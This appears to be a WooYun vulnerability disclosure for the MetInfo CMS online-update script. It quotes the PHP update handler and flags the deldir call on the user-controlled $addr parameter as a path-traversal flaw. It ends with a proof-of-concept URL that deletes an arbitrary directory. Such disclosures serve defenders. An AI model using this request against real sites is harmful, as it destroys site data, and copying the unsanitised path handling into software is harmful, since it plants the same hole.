WooYun.org

else if($action=='update'){/*文件更新 注升级包中admin文件不需要改名，直接写admin*/
	$adminfile=$url_array[count($url_array)-2];
	include "../update/$addr/dlfilelist.txt";
	$file_error[0]=0;
	foreach($strs as $addrskey=>$strsval){	
		$strsvalto=readmin($strsval,$adminfile,2);
		$str=file_get_contents("../update/$addr/$strsval");
		if(!file_put_contents("../../$strsvalto",$str)){
			$file_error[0]=1;
			$file_error[2]=$strsvalto;
		}
	}
	if($file_error[0]==1){
		foreach($strs as $addrskey=>$strsval){	
			$strsvalto=readmin($strsval,$adminfile,2);
			$str=file_get_contents("../update/$addr/dateback/$strsvalto");
			if($str){
				file_put_contents("../../$strsvalto",$str);
			}
			else{
				unlink("../../$strsvalto");
			}
		}
		require_once '../system/database/global.func.php';
		if(file_exists("../update/$addr/sqlist.php"))include "../update/$addr/sqlist.php";
		foreach($sqlfile as $sqlkey=>$sqlval){
			$sql=file_get_contents($sqlval);
			sql_execute($sql);
		}
		dl_error("{$file_error[2]}{$lang_updaterr14}",$type,$olid,$ver,$addr,$action);
	}
	$str=file_get_contents("../update/$addr/update.php");
	if($str!='No Date'){
		include "../update/$addr/update.php";
	}
	if($type==1){
		$db->query("update $met_config set value='$ver' where name='metcms_v'");
		$authinfo=$db->get_one("SELECT * FROM $met_otherinfo where id=1");
		$met_file='/dl/record_dl.php';
		$post_data = array('cmd'=>'sys','url'=>$met_weburl,'code'=>$authinfo['authcode'],'key'=>$authinfo['authpass'],'ver'=>$ver);
		curl_post($post_data,10);
		
		$num=1;
		$random = met_rand(6);
		$date=date('Ymd',time());
		require_once '../system/database/global.func.php';
		do{
			$sqldump = '';
			$startrow = '';
			$statistics1=$tablepre.'visit_day';
			$statistics2=$tablepre.'visit_detail';
			$statistics3=$tablepre.'visit_summary';
			$tables=tableprearray($tablepre);
			$sizelimit=2048;
			$tableid = isset($tableid) ? $tableid - 1 : 0;
			$startfrom = isset($startfrom) ? intval($startfrom) : 0;
			$tablenumber = count($tables);
			for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
				if($tables[$i]==$statistics1||$tables[$i]==$statistics2||$tables[$i]==$statistics3)continue;
				$sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
				$startfrom = 0;
			}
			$startfrom = $startrow;
			$tableid = $i;
			if(trim($sqldump)){
				$version='version:'.$ver;
				$sqldump = "#MetInfo.cn Created {$version} \n#{$met_weburl}\n#{$tablepre}\n# --------------------------------------------------------\n\n\n".$sqldump;
				$bakfile = "../databack/{$con_db_name}_{$date}_{$random}_{$num}.sql";
				file_put_contents($bakfile, $sqldump);
			}
			$num++;
		}
		while(trim($sqldump));
		
	}else if($type==2){
		$query="select * from $met_app where no=$olid and download=0";
		$app=$db->get_one($query);
		$query="select * from $met_app where no=$olid and download=1";
		if($db->get_one($query)){
			$query="update $met_app set name='$app[name]',ver='$app[ver]',img='$app[img]',info='$app[info]',file='$app[file]',power='$app[power]',sys='$app[sys]',site='$app[site]',url='$app[url]' where no='$app[no]' and download=1";
			$db->query($query);
		}
		else{
			$query="insert into $met_app set name='$app[name]',no='$app[no]',ver='$app[ver]',img='$app[img]',info='$app[info]',file='$app[file]',power='$app[power]',sys='$app[sys]',site='$app[site]',url='$app[url]',download=1";	
			$db->query($query);
		}
		$query="select * from $met_admin_table where usertype=3";
		$result=$db->query($query);
		while($list=$db->fetch_array($result)){
			$list[admin_type_tmp]='-'.$list[admin_type].'-';
			if(stripos($list[admin_type_tmp],'-s142-')!==false){
				$list[admin_type]=$list[admin_type].'-a'.$app[no];
				$query="update $met_admin_table set admin_type='$list[admin_type]' where id='$list[id]'";
				$db->query($query);
			}
		}
		$met_file='/dl/record_dl.php';
		$post_data = array('cmd'=>'app','addr'=>$addr);
		curl_post($post_data,10);
	}
	deldir("../update/$addr/"); // 漏洞在这里， $addr 可控
	unlink("../../update.php");
	unlink("../../sql.sql");
	checksumdel($type);
	echo $lang_updaterr15."<script type=\"text/javascript\">setTimeout(function (){olupdate('$olid','$ver','testc');},500);</script>";	
}else if($action=='error'){
	dl_error('',$type,$olid,$ver,$addr,$action);
}

http://localhost/metinfo/admin/system/olupdate.php?action=update&addr=../../testfolder